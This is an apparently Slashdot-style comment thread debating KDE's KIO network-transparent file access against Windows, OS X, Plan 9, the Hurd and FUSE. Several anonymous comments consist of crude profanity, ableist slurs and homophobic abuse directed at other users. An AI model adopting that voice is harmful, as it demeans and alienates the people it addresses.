Reading comprehension ain't your strong-suit, is it? With regards to network-transparency, Windows and Mac *does* have a long way to go.

You mean Windows and Mac DO have a long way to go.

Do your reading comprehension have a long way to go?

Re:Crackhead of the year

[Guy Harris]

Window's FTP functionality barely works.

The Windows FTP functionality I typically use works as well as the FTP functionality I typically use on most UN*Xes, including OS X, but that's because it's the same functionality I use on many of those systems, although OS X, at least, uses Luke Mewburn's ftp program other than the traditional BSD ftp program that Windows and at least some other UN*Xes use. :-)

As for OS X, it supports transparent FTP access from the command line - try man mount_ftp.

Re:Crackhead of the year

[be-fan]

I'm not talking about the BSD ftp program Windows uses. I'm talking about the FTP support in internet explorer that's phenomenally slow even over a high-bandwidth link.

Old Unix philosophy

[glassware]

This is vaguely reminiscient of the old Unix maxim, "Everything is either a file or a process," except that now KDE calls everything an URL.

Correct me if I'm wrong, but wouldn't the old way of doing this be something like /dev/extensions/audiocd/track1, /dev/extensions/sftp/, /dev/extensions/webdav, and so on? This type of a trick would have allowed these extensions to be used in any app that recognizes the file system, not only KDE type apps.

What was the reason for not implementing these as devices?

Re:Old Unix philosophy

[Anonymous Coward]

The reason would be that devices are specific to the OS, whereas KDE is designed to run on multiple UNIX-like platforms.

In fact there is a module for the FUSE system that allows you to use the KDE plugins in the way you suggest.

Re:Old Unix philosophy

[Brandybuck]

What was the reason for not implementing these as devices?

Because KDE is a cross platform desktop, and devices are too tightly tied to a specific kernel. A Linux device doesn't help a FreeBSD, Solaris or AIX user.

Re:Old Unix philosophy

[Taladar]

An ego-centric view of the Linux World by KDE-Developers?

You can see it everywhere with KDE...starting with their braindamaged way of not using separate tarballs for every app and instead bundling the apps to arbitary categories which can be quite frustrating for people not using KDE wanting to use only a single app.

Re:Old Unix philosophy

[Mornelithe]

You can see it everywhere with KDE...starting with their braindamaged way of not using separate tarballs for every app and instead bundling the apps to arbitary categories which can be quite frustrating for people not using KDE wanting to use only a single app.

Maybe you should get a distribution that breaks up the packages into individual apps.

That's not the job of the KDE developers.

Re:Old Unix philosophy

[molnarcs]

You can see it everywhere with KDE...starting with their braindamaged way of not using separate tarballs for every app and instead bundling the apps to arbitary categories which can be quite frustrating for people not using KDE wanting to use only a single app.

So? What prevents vendors from putting various kdeapps into their own packages? In fact, that's exactly what kde@freebsd does. You don't have to install all the stuff in kdeaddons if you want only the kate plugins part. Look:

mcsaba@mcsaba$ pkg_info | grep kde
hu-kde-i18n-3.3.0 Localized messages and documentation for KDE3
kde-icons-amaranth-althaea-0.5 KDE iconset like Crystal SVG, but simpler
kde-icons-lime-rade8-1.01 KDE Mac OS X like iconset, most from rad-e8
kdeaddons-kate-plugins-3.3.0 Additonal plugins and features for kate
kdeaddons-kfile-plugins-3.3.0 Plugins for Konqueror (in filemanager mode)
kdeaddons-kicker-applets-3.3.0 Additional applets for Kicker
kdeaddons-konq-plugins-3.3.0 Additonal plugins and features for Konqueror
kdeadmin-3.3.0 KDE applications related to system administration
kdeartwork-3.3.0 Additional themes, sounds, wallpapers and window styles
kdebase-3.3.0_4 Basic applications for the KDE system
kdebase-konqueror-nsplugins-3.3.0 Netscape plugin support for Konqueror
kdegraphics-3.3.0 Graphics utilities for the KDE3 integrated X11 desktop
kdegraphics-kamera-3.3.0 Digital camera support for KDE
kdegraphics-kooka-3.3.0 Raster image scan program for KDE
kdegraphics-kuickshow-3.3.0 KDE image viewer
kdelibs-3.3.0_2 Base set of libraries needed by KDE programs
kdemultimedia-3.3.0 Multimedia utilities for the KDE integrated X11
kdemultimedia-mpeglib_artsplug-3.3.0 Default KDE decoders for mp3/ogg
kdenetwork-3.3.0_1 Network-related programs and modules for KDE
kdenetwork-lanbrowsing-3.3.0 Lanbrowsing facility and backend for KDE
kdepim-3.3.0 Personal Information Management tools for KDE
kdetoys-3.3.0 Small applications for KDE
kdeutils-3.3.0 Utilities for the KDE integrated X11 desktop
kdewebdev-3.3.0,2 Comprehensive html/website development environment

Blame your particular distro for not providing separate packages for kuickshow (for example).

Re:Old Unix philosophy

[CAIMLAS]

This would be a sweet deal. I've been looking for such athing for a while, myself - then any program, etc. could use the mechanism.

I imagine that a reasonably competent programmer (ie, not myself) could take the existing code from KDE, combine it with a kernel module and automount, and have such a mechanism in place with reasonably small amounts of $pain.

Re:Old Unix philosophy

[alder]

...and devices are too tightly tied to a specific kernel.

"Devices" is obviously incorrectly used word. But the idea is sound and(!) proven. And more the once: "All resources in Plan 9 look like file systems." The system would much more interesting if "everything is a URL" concept is supported (by a usespace a daemon) below GUI level.

Re:Old Unix philosophy

[Nailer]

That's always a choice. Consistency between the same app across platforms, or consistency of apps on a single platforms.

The answer is pretty obvious: more people use multiple apps than .se multiple platforms.

A good example of the merits of each is comparing the success of the orginal Mozilla (which was consistent across multiple platforms) with Firefox (which was consistent with other apps on that platforms, and therefore didn't annoy the hell out of users).

Re:Old Unix philosophy

[kalpaha]

The simple reason is that KDE has to be portable across multiple systems, and anything in /dev is inherently OS dependent. There is however, a KIO Fuse Gateway which intends to enable all applications to access KIO slaves.

See http://kde.ground.cz/tiki-index.php?page=KIO+Fuse+ Gateway

Re:Old Unix philosophy

[Brandybuck]

The succes of Firefox was that it wasn't a huge bloated beast.

Re:Old Unix philosophy

[Lours]

Correct me if I'm wrong, but wouldn't the old way of doing this be something like /dev/extensions/audiocd/track1, /dev/extensions/sftp/, /dev/extensions/webdav, and so on? This type of a trick would have allowed these extensions to be used in any app that recognizes the file system, not only KDE type apps.

What was the reason for not implementing these as devices?

It's exactly what the hurd microkernel wants to achieve via its translators concept.

Note that the strenght of the hurd is that it is not actually implemented at the kernel level but at the user's one. The great advantage over the KDE system, is that you still have low level access to those protocols from the command line or all existing non-KDE-aware applications.

Putting this feature into the GUI/desktop handling system is IMHO a very bad architectural decision. Protocols offer access to low level data streams or sinks, they should be made available via low-level interfaces so to all applications without requiring a single change in their code.

The KDE approch requires all applications to link against KDE components or forces the user to use run time wrappers.
This closed approach is in my view a very bad thing as it restricts the user possibilities rather than expanding them "restrictionlessly".

Protocols belong to the "device driver" land (be it a virtual device), let them there, and if that's not a flexible solution for you, then switch to the hurd where they can be user manipulated as a breeze.

This is, IMHO, the sole and most valable reason why the hurd will eventually take precedence over unixes as it will have a huge effect on application configuration costs due to massive inter application data exchanges : the more the operating system handles, the less user and applications need to duplicate work and effort.

Too much K's

[Anonymous Coward]

Why must KDE be riddled with 'K's everywhere?
The project seem less serious with the silly naming scheme.
This is what made me stop switching back and forth between GNOME and KDE and finally settled on GNOME.
GNOME just feels overall more serious and polished.

Re:Too much K's

[cmbofh]

If a naming scheme is your reason to decide which desktop to use I envy you... you don't seem to have any real problems. Or real work to do...

These tools are already in the OS, unintegrated.

[Elwood P Dowd]

In short:
No.

In long:
No.

Microsoft Doesn't Need to Catch Up

[Dante Shamest]

...yet.

Microsoft won't see any need to add new features as long as it's users don't find out, and it's market share remains 90%-ish.

Once it DOES feel threatened though, it'll pour resources and add all the features to it's OS that it thinks will maintain it's dominance. (think Mac/Windows, Netscape/IE, Java/C#).

But it'll probably ultimately fail this time. I'm a Windows fan, but I'm realistic: Linux will win in the long run.

Re:Microsoft Doesn't Need to Catch Up

[Anonymous Coward]

Everywhere I go, I see people wishing linux had x or could do y, or was a little bit more user friendly. I know there are a lot of people out there who are pissed off at Microsoft and itching to jump. I'd take a wild guess to say I think that there are millions of users on the edge who think that linux is nearly good enough. More and more people seem to be taking the view that it is a foregone conclusion, especially once people get a taste for what Microsoft has in store for them in the future. In the next 5-10 years linux usage will explode. I think it's already starting to happen, but there are still a few hurdles. I optimistically agree that the dominance of linux will happen. Though this is not yet the year of Atari^H^H^H^H^HLinux...

KDE sucks Gnome's big fat hairy dick

[Anonymous Coward]

booyah! they both suck asss werd to the mutha.
bunch of retarded freaks who start jizzing in their pants when their screen has pretty candy colors on it.
dumbfucks learn to use the console. you're retarded dumbfukcs! that's right! you all sucks big fat hair balls! and you're stupid too+! stupid fuckers funmingin up Linux with your stupid bullshit!
youre gonna all have a gay gay fuckyourselfuptheass party now and sya how nice happy KDE is fuckeing up 6your shit! haha! fuck you fuck you fuck you.

Re:KDE sucks Gnome's big fat hairy dick

[Anonymous Coward]

The terminology idiot suits you well. You complain about 6 years olds retarded freats jizzing in their pants and yourself you behave even worse.

Re:KDE sucks Gnome's big fat hairy dick

[Anonymous Coward]

haha! i wrote that shit up there i'm a crzy motherfukcer. haha wazzup shlashturds! learn to code and shit!

Re:KDE sucks Gnome's big fat hairy dick

[Anonymous Coward]

i continue coding once i am finished up with your mother and your sister.

A little frightening.

[Anonymous Coward]

This all seems reminiscent of the design flaw of integrating a web-browser into an OS. Granted it's only certain protocols which are built-in to a desktop interface (as I gather, site seems to be crawling). Can anyone more knowledgeable comment on this?

Re:A little frightening.

[be-fan]

It's really not anything like integrating a web-browser into the OS. One of the jobs of an OS is to provide applications with access to files. KIO is just a generalization of this idea, allowing apps to access files stored in many sorts of locations, instead of just on the local disk. It's not fundementally different than something like NFS, or even the VFS, which allows apps to treat files on a hard-drive the same way as files on a cd-rom.

Re:A little frightening.

[Guy Harris]

It's not fundementally different than something like NFS, or even the VFS, which allows apps to treat files on a hard-drive the same way as files on a cd-rom.

...other than not being implemented below the UN*X file API, unlike file systems plugged into the VFS that are implemented below that API layer; implementing them below that layer allows all applications, including non-KDE applications, to access the files.

Re:A little frightening.

[be-fan]

Well, that's a seperate concern. The concern I was addressing was whether it was a good idea to integrate something like this into core system code --- whether or not it was like integrating a web browser into the OS. Now, yes, it would be preferable if KIO were implemented below the *NIX file API, but the problem is that KDE is a cross-platform desktop, while very few platforms support this sort of functionality. In order to keep KDE consistent across *NIX'es, they'd have to implement this on HP-UX, Tru64, Solaris, *BSD, as well as Linux. That's not really practical for them, especially considering they don't even have the source to all the platforms KDE supports.

wrong layer

[DrSkwid]

can one "cat perldoc://someuri/perldoc1" ?

if not then it is at the wrong layer to be "transparent"

plan's approach of a unified file system approach is far more transparent

a daemon runs and serves the appropriate files in the namespace as regular filenames

cat /dev/usb1/1/data

grep bunny /n/ftp/pub/*/readme

etc.

Re:wrong layer

[Anonymous Coward]

cat perldoc://someuri/perldoc1

I see the problem, you should have used the "kat" command...

Re:wrong layer

[Mornelithe]

Yeah, if you want transparent access across the whole system, you need it at the filesystem level. That would be one of the possible advantages of, say, the Reiser4 filesystem.

Now, as you may or not recall, a couple months ago there was a giant flamewar on the Linux kernel mailing list about Reiser4, files-as-directories, plugins, and all the stuff that would make such things transparent at the filesystem level, and the net result was, "it's not going in right now."

KDE programmers aren't kernel hackers, and even if they were, this stuff probably wouldn't make it into the kernel, so it would be a set of messy KDE kernel patches. Until then, KDE's handling of many different URL protocols is probably the best you'll get.

Re:wrong layer

[Anonymous Coward]

There's already a command 'dog' that does that, without needing all the crazy ass KDE libs and shit.

Package: dog
Description: Enhanced replacement for cat
dog writes the contents of each given file, URL or standard
input to standard output. It currently supports file, http
and raw URLs. It is designed as a compatible, but enhanced
replacement for cat.

Re:wrong layer

[Mitchell Mebane]

can one "cat perldoc://someuri/perldoc1" ?

if not then it is at the wrong layer to be "transparent"

plan's approach of a unified file system approach is far more transparent

a daemon runs and serves the appropriate files in the namespace as regular filenames

cat /dev/usb1/1/data

grep bunny /n/ftp/pub/*/readme

etc.

Sure, no problem. It's still a work-in-progress, though.

Re:wrong layer

[Ice_Balrog]

No, but you can "kwrite perldoc://someuri/perldoc1" (or any other program that supports kioslaves).

I don't see why this has to be at the kernel level - why not just make programs that use kioslave functions instead of open() (or whatever)? Not only that, but some protocols are very slow or don't work with directories well, and wouldn't be sutable to be treated like local folders. Putting this in the kernel is asking for a lot more root (and not just user) exploits. And finally, everything that uses traditional system calls would have to be modified considerably or there will no doubt be many expolits found for them.

Re:wrong layer

[lederhosen]

Try Hurd.

Translators do what you want.

You could for example mount an iso image
over ftp, and start looking at files on
the image, without downloading the image.

All with your usual commands.

Re:wrong layer

[Anonymous Coward]

Sort of:

kioexec cat perldoc://someuri/perldoc1

or

kioexec ls nntp://news.server.com/

(which will list the groups on that server)

Re:wrong layer

[Guy Harris]

I don't see why this has to be at the kernel level - why not just make programs that use kioslave functions instead of open() (or whatever)?

Because

1. the program you want to use might already have been made, and you don't want to have to convert it, or have somebody convert it, to use KIO (it might not even be a KDE program - neither cat nor grep are, on most systems);
2. your application randomly access the file (I don't see anything immediately obvious in the KDE I/O Architecture document that indicates that you can open a file and seek around in it and read from arbitrary offsets);
3. your application is supposed to work without KDE (and even if, as, and when a KDE version of that particular application is done, it'll still have non-KDE versions, e.g. for Windows);

etc..

Not only that, but some protocols are very slow or don't work with directories well, and wouldn't be sutable to be treated like local folders.

Which ones?

Putting this in the kernel is asking for a lot more root (and not just user) exploits.

OK, then how about just putting FUSE or lufs in the kernel and doing the bulk of the work in user space? (That's how OS X's ftpfs and webdavfs work - they have "stub" file systems in the kernel that talk to user-mode daemons; heck, the "stub" file system for ftpfs is called "the NFS client", and the user-mode daemon is a user-mode NFS server on a port other than 2049.)

And finally, everything that uses traditional system calls would have to be modified considerably or there will no doubt be many expolits found for them.

And the reason why adding a new file system type makes that true is?

Re:wrong layer

[cmbofh]

There's also no such thing as THE kernel. KDE runs on many UN*Xoid systems, some of which you cannot patch (proprietary stuff).

mmmm... load times

[schleyfox]

If only it would load faster and not randomly lag on me while I am using it, it would be great. No thanks, fluxbox and gnome work just fine for me. On the upside it makes the move from windows comfortable, load times and all!

Re:mmmm... load times

[sprouty76]

Interesting. I write for KDE in my spare time and for Gnome at work. KDE blows Gnome away on the same hardware in terms of load speed.

Even more G's

[Anonymous Coward]

gnome-applets
gnome-python
gnome-build
gnome-se ssion
gnome-commander
gnome-speech
gnome-common
gnome-spell
gnome-control-center
gnome-system- tools
gnome-cups-manager
gnome-terminal
gnome-d esktop
gnome-themes-extras
gnome-doc-utils
gnom e-themes
gnome-games
gnome-user-docs
gnome-icon -theme
gnome-utils
gnome-keyring
gnome-vfs
gno me-mag
gnome-webkit
gnome-media
gnomemeeting
g nome-mime-data
gnopernicus
gnome-panel

Re:Even more G's

[VocabularyNazi]

holy shit!! there's more gnomes there than my mothers garden!

bleh://

[Anonymous Coward]

you know, it's great to see all these so-called nifty featuers available in a GUI that can't even accomplish the task of globalizing a standard copy-and-paste function.

Krap indeed.

Re:bleh://

[datadriven]

ctrl-c & ctrl-v work in every app on my desktop.

Re:bleh://

[Guy Harris]

ctrl-c & ctrl-v work in every app on my desktop

...and ctrl-x probably works in a lot of them as well.

And, given that Qt switched in Qt 3 to the closest thing to a standard way of handling the PRIMARY and CLIPBOARD selections in X, and that a number of other toolkits, including GTK+, have always done that, it would probably work even between applications using different toolkits in most if not all cases.

I.e., bitching about copy-and-paste in X11 is getting a bit old, at least for complaints about it not working at all, even for text. Perhaps for non-text formats there needs to be a bit more work in the toolkits and applications, but, as I remember, the selections mechanism in the ICCCM does have a mechanism to register data types and to have a recipient of data find out the types in which data in a selection is available, so they can choose the "best" type (e.g., it might be available as rich text or plain text, so that a word processor would fetch the rich-text version but a terminal window would fetch the plain-text version).

Difference from OSX ...

[jlrobins_uncc]

Is the age-old question of 'does it belong in the kernel'. OSX's webdav and FTP client support accessable from the finder, the analogues to KDE's FTP and webdav protocol plugins, are in reality implemented in the kernel as a filesystem implementation, making them useable from *every*single* application running on the box, not just the ones linked into a particular application framework (KDE). The OSX implementations are truly remote filesystems, upon which I can 'cd', and 'vi' myself into oblivion.

But the downside is that these 'fancy' network filesystems are comparatively sparse relative to KDEs. And we're still waiting for, oh, say, webdav over SSL support (making it actually worthwhile for an intranet filesystem solution).

IF OSX could have retainted the 'filesystem drivers as userspace processes' mantra of the microkernel design philosophy, then we could have the best of both worlds. Especially if we could retain, say, HPFS, FFS, etc. as kernel resident drivers for efficency .

Re:Difference from OSX ...

[lederhosen]

Yeah, like The Hurd.

The problem with monolithic kernels
like OSX and Linux is that all the
kernel space driver has to be mounted
by root. THAT is the big problem.

When you can mount filesystems as a
normal user (like the Hurd), then
I feel that the OS is the right place.
You will have to have an OS that
supports user space filesytems though.

Re:Difference from OSX ...

[Guy Harris]

OSX's webdav and FTP client support accessable from the finder, the analogues to KDE's FTP and webdav protocol plugins, are in reality implemented in the kernel as a filesystem implementation

...with a user-mode daemon doing the heavy lifting. WebDAV is done with a specialized kernel stub to talk to the daemon; FTP is done by mount_ftp acting as a user-mode NFS server (try capturing on lo0 while looking at a mounted FTP file system, and see the NFS traffic - don't use a filter of "port 2049", it doesn't use port 2049 because you might be running the native NFS server code).

Now, if there were a native framework (in the generic sense of "framework", not necessarily in the OS X sense) to make it easier to write user-mode NFS servers, or, for file systems where that's not sufficient (webdavfs is read/write, but I don't think WebDAV supports partial writes of arbitrary numbers of bytes to arbitrary offsets, so I think webdavfs writes to a local copy and pushes it back to the server when the file is closed, but NFSv2 and NFSv3 don't tell you when the file is closed), a standard kernel stub plus a framework for communicating with it, with the framework perhaps also handling things such as local caching of file contents (e.g. for protocols oriented towards whole-file transfer) so that it's easier to add new file systems of that sort, that'd give you the "filesystem drivers as userspace processes" mechanism you referred to.

Re:Difference from OSX ...

[jlrobins_uncc]

Well thanks for the clarification! I always thought that coding those 'filesystems' in the kernel must have been more difficult than doing the heavy lifting in user space. A little odd that FTP and WebDAV are handled through two separate mechanisms -- implemented at different times by different teams? Did NeXT support FTP as filesystem?

ok for kde and not MS?

[Anonymous Coward]

Subject says it all.

MY FINAL TESTAMENT

[Anonymous Coward]

I'm a singer-songwriter who uses KDE. What do you think of these lyrics? 1.verse:
United states of mind in troubled times
I couldn't find a better life, couldn't find my way inside
Laughter and sirens song, in here I belong
I couldn't tell right from wrong; where is this all coming from
I built a wall inside, out of a lie
An now I'm comfortably blind, to what goes on outside
chorus:

Here, in a world of my own
Everything's confused, harmlessly untrue
Here I can almost live and forget you
It is all unreal, in this world of ideals
Even the illusions seem so clear
2.verse

So hard to understand an unstable man
But I'm doing all the best I can, to leave this no-where land
Sorrows are easy to hide, in states of mind
Then all of a sudden I'm fine, and everything's allright
chorus:

Here, in a world of my own
Everything's confused, harmlessly untrue
Here I can almost live and forget you
It is all unreal in this world of ideals
Even the illusions seem so clear
bridge:

But I still like it, maybe
Now and then
Life, not so crazy,
With any kind of sense
But only in here I get to see you again
And sometimes I feel you
And sometimes I meet the real you
chorus:

Love, everything's confused harmlessly untrue
Here I can almost live and forget you
It is all unreal in this world of ideals
Even the illusions seem so clear

does gnome do this?

[zaqattack911]

I remember when I recently tried webdav://mywebsite I was pleasantly surprised in KDE.

I just recently installed "ubuntu" (gnome 2.6).. which I must say is a really nice looking slim UI/theme. All around good distro.

But does gnome have integrated webdav support? I would think they'd be on the ball to mimic any lil kde features that pop-up.

--Zaq

Re:does gnome do this?

[zaqattack911]

spoke too soon.

apparently in the filebrowser "Nautilus" there is a connect to server option which supports webdav.

Re:does gnome do this?

[Anonymous Coward]

But does gnome have integrated webdav support?

Yes, gnome-vfs is pretty much as good as KDE now, but alot of non-gnome-gtk apps don't use it.

Re:does gnome do this?

[Anonymous Coward]

> Yes, gnome-vfs is pretty much as good as KDE now.

Which of course is pure bullshit spread by someone knowing shit - gnome-vfs is a broken pile of shit and in no ways compareable to the kioslave system of KDE. Half - if not more - of the modules inside gnome-vfs don't work reliable enough to do basic stuff such as the http:/ handler and the ftp:/ handler. How many handlers does gnome-vfs have now ? on it's best it's around 5 while KDE's kioslaves have over 20-30 full working kioslaves.

Re:does gnome do this?

[Karma Farmer]

But does gnome have integrated webdav support? I would think they'd be on the ball to mimic any lil kde features that pop-up.

Of course it does. See, KDE added it to Linux, so that all applications are able to use this. No, wait -- they didn't. This is just some bullshit added to an already bloated set of non-standard user libraries.

Re:does gnome do this?

[Anonymous Coward]

I'd like to translate this into non fanatic screaming.

I belive you are incorrect sir, gnome-vfs is poorly implemented and in no ways compareable to the kioslave system of KDE. Half - if not more - of the modules inside gnome-vfs don't work reliable enough to do basic stuff such as the http:/ handler and the ftp:/ handler. Also gnome-vfs does not support anywhere near the same number of handlers.

I hope you find this helpful.

Re:does gnome do this?

[micromoog]

Not sure where you're going with this . . . you'd prefer the bullshit in the kernel itself, or you'd prefer people not have the ability to add the bullshit later . . . ?

Re:does gnome do this?

[Anonymous Coward]

See, KDE added it to Linux, so that all applications are able to use this. No, wait -- they didn't. This is just some bullshit added to an already bloated set of non-standard user libraries.

Why would KDE want to add it to Linux? It's a cross-platform desktop environment. Adding a feature to Linux wouldn't really be very useful to all the people running KDE on FreeBSD, now, would it?

Re:does gnome do this?

[drew]

There is of course a tradeoff here that most people are forgetting. KDE could have added this to Linux at the kernel level in which case it would work with any linux application, but then the rest of the KDE users (KDE is a cross-platform Desktop Environment, remember?) would have been SOL. As a FreeBSD user, I'm glad that KDE chose to implement these protocol handlers at the applicaction level, thus allowing them to work on any platform that KDE works on, rather than adding them to the Linux kernel.

Re:does gnome do this?

[russint]

just recently installed "ubuntu" (gnome 2.6).. which I must say is a really nice looking slim UI/theme. All around good distro.
Ubuntu is actually Gnome 2.8.

Re:does gnome do this?

[Anonymous Coward]

Also, if Gnome(or another desktop) wanted to standardize this functionality, it would be better done at the application level.

for fun, in OSX

[banky]

open up a blank tab in safari and type:
x-man-page://some_command
where some_command is the command you want to see. I get a man page in a terminal. In fact for any given URL registered on my box, I get the Right Thing(tm) happening.

I use the Default App pref pane (http://www.rubicode.com/Software/) and thus have pretty fine control over what happens when various URLs are clicked/activated. Well, I can't make new ones, something about the craptacular IE vestiges that control URLs by default, maybe, I'm not sure; but it seems trivial to get around this.

Wha?

[God of Lemmings]

The entire KDE desktop environment is decked out like this, and as George puts it, 'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.

Like what kind of catching up? Like this?
KDE on Mac OS X

werd

[Anonymous Coward]

slashdot stories in 5 easy steps:
1. w00t we're so l33t coz we installed Linux
2. oh gno! bad goverment bullies taking our phreedomz!
3. oh gno! bad corporations making non-free stuff and making money from their work! boo! hiss!
4. w00t! new kde/gnome/kernel/thingamajingy that makes me feel really really cool
5. oh gno! more virus/spam/hackers (oops! i meant crackers yeah heheh oopsies oopsies)
666. clicks the bannerz bitches! buy shit from amazon and thinkgeek bitches! (PROFIT!!W!!!!!)

Don't be a hater

[FudgePackinJesus]

Geez... thirteen comments in and nothing positive to say about what the guy had to say. The fact of the matter is that on built in network transparency, KDE has no equal.

You don't really appreciate it until you use it and then forced to work without it. I present a real world example: a colleague wants some help with the IE CSS scrollbar colors. I open up KWrite, the "simple" text editor, select "Open" from the "File" and plug in the FTP url, with embedded password and all, into the open file dialog. A half a second later I was browsing their directory structure point-and-click in the open file dialog. I find the ".css" file and open it in the editor. I then make my simple changes and hit CTRL-S. The file was saved and uploaded back onto the web server in one simple keystroke combo. And that was it. Mind you all of this was done in KDE's most trivial of text editors and this feature is part of the desktop architecture meaning all KDE apps can employ this feature.

Try doing something like that with the default install of Windows/MacOSX/Be/whathaveyou. And that was the simplest of examples of the network transparency within KDE.

And that's just the network transparency aspect of it. The KIO architecture allows for some really amazing features on the local side as well. If you don't already know about the audiocd:/ slave then look it up or even use it. It will blow your mind.

Don't just take my word for it. Try it before you bash it. Please.

Re:Don't be a hater

[Anonymous Coward]

Try doing something like that with the default install of Windows/MacOSX/Be/whathaveyou. And that was the simplest of examples of the network transparency within KDE.

Well, you can, from any Explorer window use ftp:// or http://

And from Word 2003, for fun (I checked), you can type in http:// URLs and open WebDAV files.

I'm sure there are more examples.

I HATE Windows, but it can do a lot of this stuff too, and has been able to for quite some time...

Re:Don't be a hater

[FudgePackinJesus]

Well, you can, from any Explorer window use ftp:// or http://

To be sure, but that comment also highlights the other point of the article which is that there is a plethora supported protocols beyond just the simple http://, ftp://, etc.

That and Windows misses the mark raised by an earlier comment of having to know the full url to open a particular document. KDE allows a path prefix to be entered in what Windows calls the "Look in:" field of the open dialog. KDE will open the directory and then allow for regular point and click browsing of that file repository. Not to mention that the feature is sparsely implemented Windows (Notepad sure didn't do it for me) and the default FTP handler in windows was terrible up to Win2k (the latest version I have installed anywhere).

And when you save the document, does it prompt you to save locally?

We can agree that Windows is frustrating. I think we can also agree that open source competition is good for all players.

Re:Don't be a hater

[spectecjr]

That and Windows misses the mark raised by an earlier comment of having to know the full url to open a particular document. KDE allows a path prefix to be entered in what Windows calls the "Look in:" field of the open dialog. KDE will open the directory and then allow for regular point and click browsing of that file repository. Not to mention that the feature is sparsely implemented Windows (Notepad sure didn't do it for me) and the default FTP handler in windows was terrible up to Win2k (the latest version I have installed anywhere).

Works fine for me in XP. ftp://sitename/ .. and I get a list of folders I can play with. From Notepad, no less.

Re:Don't be a hater

[FudgePackinJesus]

More and more I learn that the changes between Win2K and XP weren't just superficial. I must confess that the XP team did a lot of things right with that release. Hooray for competition! =]

If it weren't for Firefox would IE be getting the facelift it's getting now?

Food for though...

Re:Don't be a hater

[spectecjr]

More and more I learn that the changes between Win2K and XP weren't just superficial. I must confess that the XP team did a lot of things right with that release. Hooray for competition! =]

Well, the thing is, the basic functionality in the OS required to do this (URL monikers, COM, etc) have all been in Windows since at least 1995 (they're all mentioned in the book Inside Ole 2nd Edition)... it's just that they've taken their sweet time exposing some of it in things like the commond file dialogs. It has been around under the covers for nearly a decade though.

If you want to learn more, this link isn't a bad place to start...

Re:Don't be a hater

[Per Wigren]

The fact of the matter is that on built in network transparency, KDE has no equal.

Yes, the Amiga. Just put the file "ftp.device" in DEVS:, mount FTP: and every single application can now use say ftp://ftp.sunet.se/ as if it was a local disk. ftp.device was written in the early 90s but the backend technology was there in 1986...

Re:Don't be a hater

[goynang]

You kind of can do this in Mac OS X (and I think on XP to). You can mount FTP and WebDAV servers in the finder so unless I'm missing something you could pretty much do exactly what you said on a Mac. The only difference would be that you would need to mount the remote side first - not the greatest of hardships.

I'm too lazy to try this right now but I think I have this right.

I don't fully understand the implications of what KDE supports but I suspect your example isn't the best way to champion it.

Re:Don't be a hater

[Anonymous Coward]

On os x, launch BBEdit. From the file menu select Load from FTP. Browse to the file you want to edit, point and click. Open, make edit, save. Done. Next?

Re:Don't be a hater

[Anonymous Coward]

> Try doing something like that with the default install of
> Windows/MacOSX/Be/whathaveyou.

It's called ange-ftp, and it's an emacs mode. Network transparency over ftp and sftp connections is beautiful.

Re:Don't be a hater

[FudgePackinJesus]

I don't fully understand the implications of what KDE supports but I suspect your example isn't the best way to champion it.

I have a sneaky suspicion from the comments so far that you're right. I mention ftp and everyone highlights equivalents in their favorite environment strictly for FTP not remembering from the article that you can use ftp, sftp, smb, nfs, lan, nntp, webdav, et al.

Re:Don't be a hater

[IntlHarvester]

> story about the CSS text file and FTP

Note that you picked the most simple example possible. How would KDE handle a (for example) 10MB MDB database file that uses file record locking? It's certainly not going to work right over a FTP link.

The more complex usecases are exactly why Windows and OS X do not have these features (except as add-ons to web design software).

Re:Don't be a hater

[caerwyn]

The default install of MacOS X allows editing over an FTP connection quite well, actually. I use it regularly.

Re:Don't be a hater

[anothy]

The fact of the matter is that on built in network transparency, KDE has no equal.

this really made me laugh. now, don't get me wrong, i think what they've done is neat and all, but this statement is still laughable. what else have you used? i think Plan 9 and Inferno have no equal in this realm. as noted elsewhere, you can't 'cat ftp://what/ever/' or the like; in Plan 9/Inferno, that works fine... along with putting tar files in /n/tar and doing 'cat /n/tar/some/file', or /net/tcp/3/data, or /n/remoteserver/dev/eia0... oh, and how 'bout mounting /n/remoteserver/dev/eia0 onto /dev/eia0, so anything that wants to get at a serial port now goes to the remote serial port? and this is all in the kernel level, so cat gets it.

oh, and "network transparency" has other possible meanings, as well. i've done the above over ethernet (of various vintages), IR, raw serial interface, pipes... and various combinations.

note that nothing here was intended at bashing the KDE stuff, just refuting your superlative.

Re:Don't be a hater

[Anonymous Coward]

It won't work over the link.
In many cases, the kio slaves cache the file in /tmp, then upload it to the remote host when it is time to save the file.

Re:Don't be a hater

[Guy Harris]

Note that you picked the most simple example possible. How would KDE handle a (for example) 10MB MDB database file that uses file record locking? It's certainly not going to work right over a FTP link.

The more complex usecases are exactly why Windows and OS X do not have these features (except as add-ons to web design software).

mount_ftp in OS X is an add-on to Web design software? That's news to me....

(I haven't tried doing record locking on a file over FTP, so I don't know how well it works, but I suspect the answer is "not at all". It might behave weirdly, given that mount_ftp is a local user-mode NFS server, so the NFS client code will probably either just return EOPNOTSUPP for lock requests if the mount_ftp file system is mounted with locking disabled or might try to contact the local lock manager and lock the file if it's not mounted with locking disabled - the latter is unlikely to work. EOPNOTSUPP is at least a failure mode that the application should handle, even if it handles it by saying "sorry, I can't do byte-range locking, so I can't access this database".)

Re:Don't be a hater

[Guy Harris]

mount_ftp in OS X is an add-on to Web design software? That's news to me....

...although mount_ftp gives you a read-only file system. (Read/write would probably require something fancier than a user-mode NFSv2 or NFSv3 server, as it'd need to know when you're done writing to a file so it knows when to push it back to the server.)

Re:Don't be a hater

[IntlHarvester]

mount_ftp in OS X is Read Only only (just like the Finder feature). The news for you is that it is nothing like the KDE feature described by the OP.

Re:Don't be a hater

[Guy Harris]

mount_ftp in OS X is Read Only only (just like the Finder feature).

The news for you is that it is the Finder feature - it does an FTP mount and then pops up a window for the top-level directory.

The news for you is that it is nothing like the KDE feature described by the OP.

Except that it's not news for me, given that I also use KDE on my FreeBSD desktop (and was already aware of KIOSlaves).

Re:Don't be a hater

[cameleon]

Works for me in Notepad in Win2K SP4, too. What exactly didn't work for you?

Re:Don't be a hater

[orcrist]

Works for me in Notepad in Win2K SP4, too. What exactly didn't work for you?

Save

-Chris

Re:Don't be a hater

[orcrist]

Works fine for me in XP. ftp://sitename/ .. and I get a list of folders I can play with. From Notepad, no less.

Now, after playtime, can you work with them? Namely open, edit, then save them again? Note, this is a serious question, since I only have Win2K as a reference here, where it doesn't work.

-chris

Re:Don't be a hater

[Ziviyr]

